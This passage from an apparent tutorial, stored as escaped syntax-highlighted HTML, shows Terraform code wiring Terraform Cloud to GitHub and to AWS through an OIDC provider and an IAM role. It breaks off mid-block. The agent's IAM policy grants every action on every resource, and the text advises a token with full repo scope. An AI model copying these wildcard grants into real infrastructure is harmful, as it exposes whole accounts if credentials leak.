\"github_actions_secret\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_secret\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e secret_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFE_TOKEN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e plaintext_value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_team_token\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_actions_token\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etoken\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"repository_id\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will generate a new repository in your account called \u003ccode\u003einfra\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFor the terraform provider to have access to github you need to create a new\npersonal access token with full \u003ccode\u003erepo\u003c/code\u003e access and set it as an environment\nvariable named \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eTerraform Cloud\u003c/h3\u003e\n\u003cp\u003eNow we need to setup dynamic credentials so the terraform cloud agent is\nallowed to take actions on your behalf. To do this we will setup an IAM\nrole and an OIDC provider. Create a file called \u003ccode\u003e4-tfc.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_organization\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"organization\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e email\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_organization_owner\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* AWS will use this TLS certificate to verify that requests for dynamic\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003ecredentials come from Terraform Cloud.*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tls_certificate\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_certificate\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e url\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"https://\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* sets up an OIDC provider in AWS with Terraform Cloud's TLS certificate,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003ethe SHA1 fingerprint from the TLS certificate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e*/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_openid_connect_provider\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_provider\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e url\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eurl\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e client_id_list\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_aws_audience]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e thumbprint_list\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etls_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_certificate\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ecertificates[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003esha1_fingerprint\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* Policy to allow TFC to assume the AWS IAM role in our account */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"assume_role\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e statement\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e effect\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e principals\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Federated\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e identifiers\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e condition\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"StringEquals\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e variable\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:aud\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e values\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eone\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e(aws_iam_openid_connect_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_provider\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eclient_id_list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e condition\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e test\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"StringLike\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e variable\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_hostname\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:sub\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e values\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e workspace \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"organization:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:project:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_project_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:workspace:\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e${\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:run_phase:*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sts:AssumeRoleWithWebIdentity\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_role\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e assume_role_policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eassume_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e/* Policy for what the TFC agent is allowed to do */\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy_document\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e statement\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e effect\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Allow\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e resources\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"*\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_policy\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-agent\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Access policy for the TFC agent\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_iam_policy_document\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ejson\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_iam_role_policy_attachment\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc-access-attach\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_role\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e policy_arn\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws_iam_policy\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc-agent\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003earn\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_workspace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"workspaces\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e length\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfc_workspaces[count\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eindex]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e working_directory\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan 